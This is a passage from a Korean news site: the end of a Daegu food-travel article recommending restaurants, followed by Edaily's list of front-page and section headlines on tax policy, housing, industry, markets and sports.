3만원, 도미토리 2만 5000원. 서성로14길 26번지(서내동).△먹을곳= 중구 동산동에 있는 성주 숯불갈비 식당(053-255-6851), 소생갈비 전문점이다. 갈비살에 붙은 살코기를 떼어내 숯불에 구워 더 맛있는 갈비를 즐길 수 있다. 이 집의 또 다른 매력은 된장찌개다. 구수한 맛은 덜하지만 4000원이라는 가격을 고려하면 먹을 만하다. 여기에 소면을 추가해 매운 청양고추와 한소끔 끓여내면 더 맛있는 식사를 즐길 수 있다. 서구 내당 3동의 무침회 골목에는 이름난 무침회 식당이 여럿 있다. 그중 똘똘이 식당(053-566-5738)은 삶은 오징어와 우렁이, 무채, 미나리를 넣고 특제 양념과 버무려 옛 맛을 느낄 수 있다. 여기에 납작만두와 함께 먹으면 매운맛을 중화시켜주고 고소한 맛은 배가 된다.성주숯불갈비식당 ‘생갈비숯불구이’
- [미리보는 이데일리 신문] 조세정책 불협화음 재정특위 ‘독단’ 기재부 ‘이기주의’
- [이데일리 강경훈 기자] 다음은 6일자 이데일리 신문 주요 뉴스다.△1면-조세정책 불협화음 재정특위 ‘독단’ 기재부 ‘이기주의’-“한때 잘나갔는데 밥값하기 힘드네”…가정간편식 인기에 찬밥된 전기밥솥의 하소연-文 대통령, 재계 1위 총수 JY와 인도서 악수한다-성남 서현·시흥 거모·화성 어천 신혼 희망타운 들어선다-[사설]최저임금 업종별 적용 바람직하다-[사설]박삼구 회장의 공개사과 진정성 있는가△줌인&-文지킨다며 모였다가…누 끼치고 해산한 부엉이-물러서지 않는 美·中…오늘 관세폭탄 주고받을 듯△조세정책 불협화음…커지는 ‘네 탓’ 공방-“금융소득종합과세 의제, 기재부가 들고와” VS “기억 안나, 확인해보겠다”-‘부자 증세 프레임 휘말릴라’ 정치 부담 피하기…靑과 교감설도-黨·政·靑…소득세 인상부터 ‘엇박자’, 주 52시간제 보완 놓고도 ‘삐걱’△저출산 대책 실효성 논란-고용보험료 한 푼 안내고…억대 소득 ‘보험퀸’도 출산휴가비 받는다-아이 잘 키울 수 있는 환경 조성에 초점…1세 미만 진료 본인부담금 절반 줄이기로-인증 한 번으로 끝…‘가족친화기업’ 재검증 대책 없이 혜택만 확대-아이돌보미, 체불임금만 1010억원인데…예산확보도 없이 2배로 늘리겠다는 정부△신혼부부·청년 주거 지원 확대-신혼희망타운 지구 13곳 추가…공급물량 7만→10만가구로 늘린다-청년 임대주택도 2만가구 더…5년 동안 27만가구 확보-年소득 7000만원 이하 신혼부부, 2억2000만원까지 저금리 대출△정치-CVID→FFVD 선회, 유연해진 美…北에 ‘완전한 핵 신고서’ 받아낼까-인도·싱가포르 가는 文…기업 氣살리기 ‘세일즈 외교’ 주력-불공평한 공시 가격이 근본 문제…재정특위 부동산 조세개혁? 비겁하다-‘국회의원 쌈짓돈’ 특활비 개선하자는 정치권…방법은 온도차-기무사 “윗선 부당 지시에도 정치권 중립 준수할 시스템 구축”△‘밥상 혁명’ 가정간편식 전성시대-엄마 손 맛 나서 집밥인 줄…조연에서 주연으로 변신-뭐가 달라도 달라…‘뻔한 제품은 가라’ 맞춤형·고급화 승부수-최강자 없는 HMR 시장 ‘우리도 먹자’…이종산업간 영역파괴 바람△‘밥상 혁명’ 가정간편식 전성시대-땡 하면 요리 되니…전자레인지에 밀려난 밥솥-손질한 재료 배달 ‘밀키트’…기존 물류창고·유통망 활용하니 남는 장사-신선식품=마켓컬리 당뇨맞춤=닥터키친 고급반찬=배민찬…食문화 공식 달라진다△경제·금융-‘편의점 카드 픽업’ 넉달새 10배…임영진 야심작 또 ‘잭팟’-전문가 13명 중 6명 “한은, 성장률 전망 3→2.9%로 낮출 것”-올 여름 전력수요 ‘역대 최대’…정부 “공급 충분, 블랙 아웃 없을 것”-서울시민 月 143만원 소비…압구정동은 302만원 썼다△산업&기업-이재용 특명…‘인도 휴대폰 1위’ 탈환하라-KG이니시스·모빌리언스 가맹점 마케팅 도우미 나서-‘포스트 차이나’ 잡아라…인도 순방에 기업인 100여명 동행-中, 마이크론 D램 판매금지에…韓반도체도 가시방석-24시간 상담…삼성·LG전자, AI챗봇 도입△산업-현대모비스 ‘친환경車 부품’ 매출 1조 첫 돌파-정기선 ‘친환경 선박 개조’서 新성장동력 찾았다-집으로 파고드는 ‘카카오AI’-LG CNS ‘IoT로 도시 데이터 관리’△소비자생활-中 ‘사드 보복’에도 끄덕없는 K뷰티-편의점서 타이레놀 못 사나요?-‘철없는’ 롱패딩, 여름은 싸게 장만할 기회-롯데주류 수출 전용酒 ‘순하리 블루베리’ 출시△중소기업·제약-독감 예방약 유엔 납품 1위…글로벌 시장에 꽂힌 ‘국산백신’-실속가격에 명품을…수입가구 시장 ‘한샘 돌풍’-삼성서울병원·인텔 ‘질환별 AI 예측모델’ 만든다-광동제약 ‘솔표 솔청수’ 한달 만에 70만병 판매△화통토크-[이대훈 NH농협은행장] IT인력·예산 대폭 보강…핀테크 하면 농협은행 떠오르게 만들 것-영업점 누비며 소통 행보…실적으로 되돌아와△증권&마켓-고개숙인 항공株 ‘3분기 이륙’ 점치는 네가지 이유-‘주주행복펀드’출시 이채원 한국밸류 대표 “저평가 가치株에 집중투자 기업·주주 윈윈하는 펀드로”-‘무역전쟁 무풍지대’ 롯데푸드·매일유업 연중 최고가-‘원투 펀치는 옛말’…시총 6위로 밀린 현대車△증권-위탁운용사 3연속 C등급 땐…국민연금, 맡긴 돈 전액 회수-경기 둔화에 웃고 우는 신세계-서진시스템, 베트남 공장 발판삼아 2021년 매출 1조원 달성 도전-VC 신규투자 1년새 64%↑ 바이오·의료 3124억원 몰려△여행-무더위 날려줄 대구 미식여행 가마솥 통닭, 113년 평냉에 폭염이 싹…‘대프리카’ 머 우짤낀데-관광 ‘품질인증’으로 안심 여행하세요△스포츠-신구조화 유럽 VS 소수정예 남미…대륙간 ‘자존심 대결’-亞 최고 출루머신 ‘자축포’ 추신수 44경기 연속 출루…아시아 출신 MLB 선수 중 최다-축구협회 “신태용 대표팀 감독 재신임 보류…원점 재평가”-北 농구용어 달라 익히는데 애먹었죠-김동민, 마지막 태극마크 획득 亞게임 남녀 골프 대표팀 확정-니시노 日 축구대표 감독 7월 퇴임△사람&나눔-[취임 1주일 맞은 구광모 LG 회장] 각종 행사 취소, 경영현안에 전념…정중동 행보-국세청 고위직 정기인사 이은항 국세청 차장…김현준 서울청장-16년 만에 정규앨범 낸 윤미래 “수백번 무대 섰지만 떨러요”-우리銀, 사회적기업 지원 ‘300억→500억’으로 확대-OK저축銀 골프장학생 모집△오피니언-[허영섭 칼럼]요즘 지낼 만하십니까-[목멱칼럼]넷플릭스와 이용자의 ‘밀당’-[기자수첩]반쪽짜리 종부세 개혁안△부동산-중개업계 불법 카르텔에…신규 업소 ‘눈물의 반값 수수료’-‘상계동-왕십리 25분’ 동북선 경전철 내년 착공…교통 소외지역 노원구 집값 상승 기대감 ‘쑥’-서울 집값 상승폭 4주 만에 줄었다-서울 단독주택 중위가격 7억 돌파△사회-상위권大도 ‘3년내 비리’ 땐 감점…대학들 ‘나 떨고 있니’-여자라서 불이익, NO…은행 신규채용 합격자 ‘性比 공개’한다-앞자리숫자 ‘세자리’ 車번호판 바뀝니다-교육부 ‘빙상 대관 갑질’ 전명규 교수 중징계 요구-勞 “시급 1만790원” 使 “내년 동결해야” 최저임금 큰 의견차